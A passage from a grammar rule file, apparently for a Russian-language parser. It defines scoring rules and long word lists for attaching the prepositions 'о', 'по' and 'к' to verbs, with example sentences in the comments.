rus_verbs:идти{} // Вопрос идёт о войне.
}
fact гл_предл
{
if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } }
then return true
}
// Мы поделились впечатлениями о выставке.
// ^^^^^^^^^^ ^^^^^^^^^^
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:о{} *:*{} }
then return false,-5
}
#endregion Предлог_О
#region Предлог_ПО
// ------------------- С ПРЕДЛОГОМ 'ПО' ----------------------
// для этих глаголов - запрещаем связывание с ПО+дат.п.
wordentry_set Глаг_ПО_Дат_Запр=
{
rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж
rus_verbs:увлечь{}, // увлечь в прогулку по парку
rus_verbs:закончить{},
rus_verbs:мочь{},
rus_verbs:хотеть{}
}
fact гл_предл
{
if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } }
then return false,-10
}
// По умолчанию разрешаем связывание в паттернах типа
// Я иду по шоссе
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:дат } }
then return true
}
wordentry_set Глаг_ПО_Вин=
{
rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ)
rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО)
rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера
rus_verbs:засадить{}, // засадить по рукоятку
rus_verbs:увязнуть{} // увязнуть по колено
}
fact гл_предл
{
if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } }
then return true
}
// для остальных падежей запрещаем.
fact гл_предл
{
if context { * предлог:по{} *:*{ падеж:вин } }
then return false,-5
}
#endregion Предлог_ПО
#region Предлог_К
// ------------------- С ПРЕДЛОГОМ 'К' ----------------------
wordentry_set Гл_К_Дат={
rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна.
rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску.
прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ)
rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ)
rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ)
rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ)
rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ)
rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ)
rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ)
rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ)
rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ)
rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, //
rus_verbs:ПРИНОРОВИТЬСЯ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ)
rus_verbs:СПИКИРОВАТЬ{}, //
rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С)
rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ)
rus_verbs:ПРОТЯНУТЬ{}, //
rus_verbs:ТЯНУТЬ{}, //
rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ)
rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,,
rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, //
rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, //
rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, //
rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ)
rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке.
rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ)
rus_verbs:хотеть{},
rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ)
rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ)
rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ)
rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ)
rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ)
rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ)
rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ)
rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ)
rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ)
rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г
rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ)
rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ)
rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К)
rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К)
rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К)
rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К)
rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К)
прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К)
безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К)
rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К)
rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К)
rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К)
rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К)
rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К)
rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К)
rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К)
rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К)
rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К)
rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К)
rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К)
rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К)
rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К)
rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К)
rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К)
rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К)
rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К)
rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К)
rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К)
rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К)
rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К)
rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К)
rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К)
глагол:быть{}, // к тебе есть вопросы.
прилагательное:равнодушный{}, // Он равнодушен к музыке.
rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К)
rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К)
инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К)
rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К)
rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к)
rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К)
rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К)
rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К)
rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К)
rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К)
rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К)
rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К)
rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к)
rus_verbs:просить{}, // Директор просит вас к себе. (просить к)
rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к)
rus_verbs:присесть{}, // старик присел к огню. (присесть к)
rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К)
rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к)
rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к)
rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К)
rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К)
rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К)
rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К)
rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к)
rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К)
rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К)
rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К)
rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К)
rus_verbs:подходить{}, // цвет подходил ей к лицу.
rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К)
rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К)
rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К)
rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К)
rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К)
rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К)
rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к)
rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К)
rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К)
rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к)
rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к)
rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К)
rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К)
rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К)
rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К)
rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к)
rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к)
rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к)
rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К)
rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к)
rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к)
rus_verbs:требовать{}, // вас требует к себе император. (требовать к)
rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к)
rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к)
rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К)
rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К)
rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к)
rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К)
rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К)
rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к)
rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к)
rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к)
rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К)
rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к)
rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к)
rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к)
rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К)
rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К)
rus_verbs:выехать{}, // почти сразу мы выехали к реке.
rus_verbs:пододвигаться{}, // пододвигайся к окну
rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам.
rus_verbs:представить{}, // Его представили к ордену.
rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу.
rus_verbs:выскочить{}, // тем временем они выскочили к реке.
rus_verbs:выйти{}, // тем временем они вышли к лестнице.
rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе.
rus_verbs:приложить{}, // приложить к детали повышенное усилие
rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку)
rus_verbs:отнестись{}, // отнестись к животным с сочуствием
rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю
rus_verbs:прыгать{}, // прыгать к хозяину на стол
rus_verbs:приглашать{}, // приглашать к доктору
rus_verbs:рваться{}, // Чужие люди рвутся к власти
rus_verbs:понестись{}, // понестись к обрыву
rus_verbs:питать{}, // питать привязанность к алкоголю
rus_verbs:заехать{}, // Коля заехал к Оле
rus_verbs:переехать{}, // переехать к родителям
rus_verbs:ползти{}, // ползти к дороге
rus_verbs:сводиться{}, // сводиться к элементарному действию
rus_verbs:добавлять{}, // добавлять к общей сумме
rus_verbs:подбросить{}, // подбросить к потолку
rus_verbs:призывать{}, // призывать к спокойствию
rus_verbs:пробираться{}, // пробираться к партизанам
rus_verbs:отвезти{}, // отвезти к родителям
rus_verbs:применяться{}, // применяться к уравнению
rus_verbs:сходиться{}, // сходиться к точному решению
rus_verbs:допускать{}, // допускать к сдаче зачета
rus_verbs:свести{}, // свести к нулю
rus_verbs:придвинуть{}, // придвинуть к мальчику
rus_verbs:подготовить{}, // подготовить к печати
rus_verbs:подобраться{}, // подобраться к оленю
rus_verbs:заторопиться{}, // заторопиться к выходу
rus_verbs:пристать{}, // пристать к берегу
rus_verbs:поманить{}, // поманить к себе
rus_verbs:припасть{}, // припасть к алтарю
rus_verbs:притащить{}, // притащить к себе домой
rus_verbs:прижимать{}, // прижимать к груди
rus_verbs:подсесть{}, // подсесть к симпатичной девочке
rus_verbs:придвинуться{}, // придвинуться к окну
rus_verbs:отпускать{}, // отпускать к другу
rus_verbs:пригнуться{}, // пригнуться к земле
rus_verbs:пристроиться{}, // пристроиться к колонне
rus_verbs:сгрести{}, // сгрести к себе
rus_verbs:удрать{}, // удрать к цыганам
rus_verbs:прибавиться{}, // прибавиться к общей сумме
rus_verbs:присмотреться{}, // присмотреться к покупке
rus_verbs:подкатить{}, // подкатить к трюму
rus_verbs:клонить{}, // клонить ко сну
rus_verbs:проследовать{}, // проследовать к выходу
rus_verbs:пододвинуть{}, // пододвинуть к себе
rus_verbs:применять{}, // применять к сотрудникам
rus_verbs:прильнуть{}, // прильнуть к экранам
rus_verbs:подвинуть{}, // подвинуть к себе
rus_verbs:примчаться{}, // примчаться к папе
rus_verbs:подкрасться{}, // подкрасться к жертве
rus_verbs:привязаться{}, // привязаться к собаке
rus_verbs:забирать{}, // забирать к себе
rus_verbs:прорваться{}, // прорваться к кассе
rus_verbs:прикасаться{}, // прикасаться к коже
rus_verbs:уносить{}, // уносить к себе
rus_verbs:подтянуться{}, // подтянуться к месту
rus_verbs:привозить{}, // привозить к ветеринару
rus_verbs:подползти{}, // подползти к зайцу
rus_verbs:приблизить{}, // приблизить к глазам
rus_verbs:применить{}, // применить к уравнению простое преобразование
rus_verbs:приглядеться{}, // приглядеться к изображению
rus_verbs:приложиться{}, // приложиться к ручке
rus_verbs:приставать{}, // приставать к девчонкам
rus_verbs:запрещаться{}, // запрещаться к показу
rus_verbs:прибегать{}, // прибегать к насилию
rus_verbs:побудить{}, // побудить к действиям
rus_verbs:притягивать{}, // притягивать к себе
rus_verbs:пристроить{}, // пристроить к полезному делу
rus_verbs:приговорить{}, // приговорить к смерти
rus_verbs:склоняться{}, // склоняться к прекращению разработки
rus_verbs:подъезжать{}, // подъезжать к вокзалу
rus_verbs:привалиться{}, // привалиться к забору
rus_verbs:наклоняться{}, // наклоняться к щенку
rus_verbs:подоспеть{}, // подоспеть к обеду
rus_verbs:прилипнуть{}, // прилипнуть к окну
rus_verbs:приволочь{}, // приволочь к себе
rus_verbs:устремляться{}, // устремляться к вершине
rus_verbs:откатиться{}, // откатиться к исходным позициям
rus_verbs:побуждать{}, // побуждать к действиям
rus_verbs:прискакать{}, // прискакать к кормежке
rus_verbs:присматриваться{}, // присматриваться к новичку
rus_verbs:прижиматься{}, // прижиматься к борту
rus_verbs:жаться{}, // жаться к огню
rus_verbs:передвинуть{}, // передвинуть к окну
rus_verbs:допускаться{}, // допускаться к экзаменам
rus_verbs:прикрепить{}, // прикрепить к корпусу
rus_verbs:отправлять{}, // отправлять к специалистам
rus_verbs:перебежать{}, // перебежать к врагам
rus_verbs:притронуться{}, // притронуться к реликвии
rus_verbs:заспешить{}, // заспешить к семье
rus_verbs:ревновать{}, // ревновать к сопернице
rus_verbs:подступить{}, // подступить к горлу
rus_verbs:уводить{}, // уводить к ветеринару
rus_verbs:побросать{}, // побросать к ногам
rus_verbs:подаваться{}, // подаваться к ужину
rus_verbs:приписывать{}, // приписывать к достижениям
rus_verbs:относить{}, // относить к растениям
rus_verbs:принюхаться{}, // принюхаться к ароматам
rus_verbs:подтащить{}, // подтащить к себе
rus_verbs:прислонить{}, // прислонить к стене
rus_verbs:подплыть{}, // подплыть к бую
rus_verbs:опаздывать{}, // опаздывать к стилисту
rus_verbs:примкнуть{}, // примкнуть к деомнстрантам
rus_verbs:стекаться{}, // стекаются к стенам тюрьмы
rus_verbs:подготовиться{}, // подготовиться к марафону
rus_verbs:приглядываться{}, // приглядываться к новичку
rus_verbs:присоединяться{}, // присоединяться к сообществу
rus_verbs:клониться{}, // клониться ко сну
rus_verbs:привыкать{}, // привыкать к хорошему
rus_verbs:принудить{}, // принудить к миру
rus_verbs:уплыть{}, // уплыть к далекому берегу
rus_verbs:утащить{}, // утащить к детенышам
rus_verbs:приплыть{}, // приплыть к финишу
rus_verbs:подбегать{}, // подбегать к хозяину
rus_verbs:лишаться{}, // лишаться средств к существованию
rus_verbs:приступать{}, // приступать к операции
rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике
rus_verbs:подключить{}, // подключить к трубе
rus_verbs:подключиться{}, // подключиться к сети
rus_verbs:прилить{}, // прилить к лицу
rus_verbs:стучаться{}, // стучаться к соседям
rus_verbs:пристегнуть{}, // пристегнуть к креслу
rus_verbs:присоединить{}, // присоединить к сети
rus_verbs:отбежать{}, // отбежать к противоположной стене
rus_verbs:подвезти{}, // подвезти к набережной
rus_verbs:прибегнуть{}, // прибегнуть к хитрости
rus_verbs:приучить{}, // приучить к туалету
rus_verbs:подталкивать{}, // подталкивать к выходу
rus_verbs:прорываться{}, // прорываться к выходу
rus_verbs:увозить{}, // увозить к ветеринару
rus_verbs:засеменить{}, // засеменить к выходу
rus_verbs:крепиться{}, // крепиться к потолку
rus_verbs:прибрать{}, // прибрать к рукам
rus_verbs:пристраститься{}, // пристраститься к наркотикам
rus_verbs:поспеть{}, // поспеть к обеду
rus_verbs:привязывать{}, // привязывать к дереву
rus_verbs:прилагать{}, // прилагать к документам
rus_verbs:переправить{}, // переправить к дедушке
rus_verbs:подогнать{}, // подогнать к воротам
rus_verbs:тяготеть{}, // тяготеть к социализму
rus_verbs:подбираться{}, // подбираться к оленю
rus_verbs:подступать{}, // подступать к горлу
rus_verbs:примыкать{}, // примыкать к первому элементу
rus_verbs:приладить{}, // приладить к велосипеду
rus_verbs:подбрасывать{}, // подбрасывать к потолку
rus_verbs:перевозить{}, // перевозить к новому месту дислокации
rus_verbs:усаживаться{}, // усаживаться к окну
rus_verbs:приближать{}, // приближать к глазам
rus_verbs:попроситься{}, // попроситься к бабушке
rus_verbs:прибить{}, // прибить к доске
rus_verbs:перетащить{}, // перетащить к себе
rus_verbs:прицепить{}, // прицепить к паровозу
rus_verbs:прикладывать{}, // прикладывать к ране
rus_verbs:устареть{}, // устареть к началу войны
rus_verbs:причалить{}, // причалить к пристани
rus_verbs:приспособиться{}, // приспособиться к опозданиям
rus_verbs:принуждать{}, // принуждать к миру
rus_verbs:соваться{}, // соваться к директору
rus_verbs:протолкаться{}, // протолкаться к прилавку
rus_verbs:приковать{}, // приковать к батарее
rus_verbs:подкрадываться{}, // подкрадываться к суслику
rus_verbs:подсадить{}, // подсадить к арестонту
rus_verbs:прикатить{}, // прикатить к финишу
rus_verbs:протащить{}, // протащить к владыке
rus_verbs:сужаться{}, // сужаться к основанию
rus_verbs:присовокупить{}, // присовокупить к пожеланиям
rus_verbs:пригвоздить{}, // пригвоздить к доске
rus_verbs:отсылать{}, // отсылать к первоисточнику
rus_verbs:изготовиться{}, // изготовиться к прыжку
rus_verbs:прилагаться{}, // прилагаться к покупке
rus_verbs:прицепиться{}, // прицепиться к вагону
rus_verbs:примешиваться{}, // примешиваться к вину
rus_verbs:переселить{}, // переселить к старшекурсникам
rus_verbs:затрусить{}, // затрусить к выходе
rus_verbs:приспособить{}, // приспособить к обогреву
rus_verbs:примериться{}, // примериться к аппарату
rus_verbs:прибавляться{}, // прибавляться к пенсии
rus_verbs:подкатиться{}, // подкатиться к воротам
rus_verbs:стягивать{}, // стягивать к границе
rus_verbs:дописать{}, // дописать к роману
rus_verbs:подпустить{}, // подпустить к корове
rus_verbs:склонять{}, // склонять к сотрудничеству
rus_verbs:припечатать{}, // припечатать к стене
rus_verbs:охладеть{}, // охладеть к музыке
rus_verbs:пришить{}, // пришить к шинели
rus_verbs:принюхиваться{}, // принюхиваться к ветру
rus_verbs:подрулить{}, // подрулить к барышне
rus_verbs:наведаться{}, // наведаться к оракулу
rus_verbs:клеиться{}, // клеиться к конверту
rus_verbs:перетянуть{}, // перетянуть к себе
rus_verbs:переметнуться{}, // переметнуться к конкурентам
rus_verbs:липнуть{}, // липнуть к сокурсницам
rus_verbs:поковырять{}, // поковырять к выходу
rus_verbs:подпускать{}, // подпускать к пульту управления
rus_verbs:присосаться{}, // присосаться к источнику
rus_verbs:приклеить{}, // приклеить к стеклу
rus_verbs:подтягивать{}, // подтягивать к себе
rus_verbs:подкатывать{}, // подкатывать к даме
rus_verbs:притрагиваться{}, // притрагиваться к опухоли
rus_verbs:слетаться{}, // слетаться к водопою
rus_verbs:хаживать{}, // хаживать к батюшке
rus_verbs:привлекаться{}, // привлекаться к административной ответственности
rus_verbs:подзывать{}, // подзывать к себе
rus_verbs:прикладываться{}, // прикладываться к иконе
rus_verbs:подтягиваться{}, // подтягиваться к парламенту
rus_verbs:прилепить{}, // прилепить к стенке холодильника
rus_verbs:пододвинуться{}, // пододвинуться к экрану
rus_verbs:приползти{}, // приползти к дереву
rus_verbs:запаздывать{}, // запаздывать к обеду
rus_verbs:припереть{}, // припереть к стене
rus_verbs:нагибаться{}, // нагибаться к цветку
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам
деепричастие:сгоняв{},
rus_verbs:поковылять{}, // поковылять к выходу
rus_verbs:привалить{}, // привалить к столбу
rus_verbs:отпроситься{}, // отпроситься к родителям
rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям
rus_verbs:прилипать{}, // прилипать к рукам
rus_verbs:подсоединить{}, // подсоединить к приборам
rus_verbs:приливать{}, // приливать к голове
rus_verbs:подселить{}, // подселить к другим новичкам
rus_verbs:прилепиться{}, // прилепиться к шкуре
rus_verbs:подлетать{}, // подлетать к пункту назначения
rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями
rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг
rus_verbs:льнуть{}, // льнуть к заботливому хозяину
rus_verbs:привязываться{}, // привязываться к любящему хозяину
rus_verbs:приклеиться{}, // приклеиться к спине
rus_verbs:стягиваться{}, // стягиваться к сенату
rus_verbs:подготавливать{}, // подготавливать к выходу на арену
rus_verbs:приглашаться{}, // приглашаться к доктору
rus_verbs:причислять{}, // причислять к отличникам
rus_verbs:приколоть{}, // приколоть к лацкану
rus_verbs:наклонять{}, // наклонять к горизонту
rus_verbs:припадать{}, // припадать к первоисточнику
rus_verbs:приобщиться{}, // приобщиться к культурному наследию
rus_verbs:придираться{}, // придираться к мелким ошибкам
rus_verbs:приучать{}, // приучать к лотку
rus_verbs:промотать{}, // промотать к началу
rus_verbs:прихлынуть{}, // прихлынуть к голове
rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу
rus_verbs:прикрутить{}, // прикрутить к велосипеду
rus_verbs:подплывать{}, // подплывать к лодке
rus_verbs:приравниваться{}, // приравниваться к побегу
rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами
rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы
rus_verbs:приткнуться{}, // приткнуться к первой группе туристов
rus_verbs:приручить{}, // приручить котика к лотку
rus_verbs:приковывать{}, // приковывать к себе все внимание прессы
rus_verbs:приготовляться{}, // приготовляться к первому экзамену
rus_verbs:остыть{}, // Вода остынет к утру.
rus_verbs:приехать{}, // Он приедет к концу будущей недели.
rus_verbs:подсаживаться{},
rus_verbs:успевать{}, // успевать к стилисту
rus_verbs:привлекать{}, // привлекать к себе внимание
прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму
rus_verbs:прийтись{}, // прийтись ко двору
инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера
инфинитив:адаптировать{вид:соверш},
глагол:адаптировать{вид:несоверш},
глагол:адаптировать{вид:соверш},
деепричастие:адаптировав{},
деепричастие:адаптируя{},
прилагательное:адаптирующий{},
прилагательное:адаптировавший{ вид:соверш },
//+прилагательное:адаптировавший{ вид:несоверш },
прилагательное:адаптированный{},
инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы
инфинитив:адаптироваться{вид:несоверш},
глагол:адаптироваться{вид:соверш},
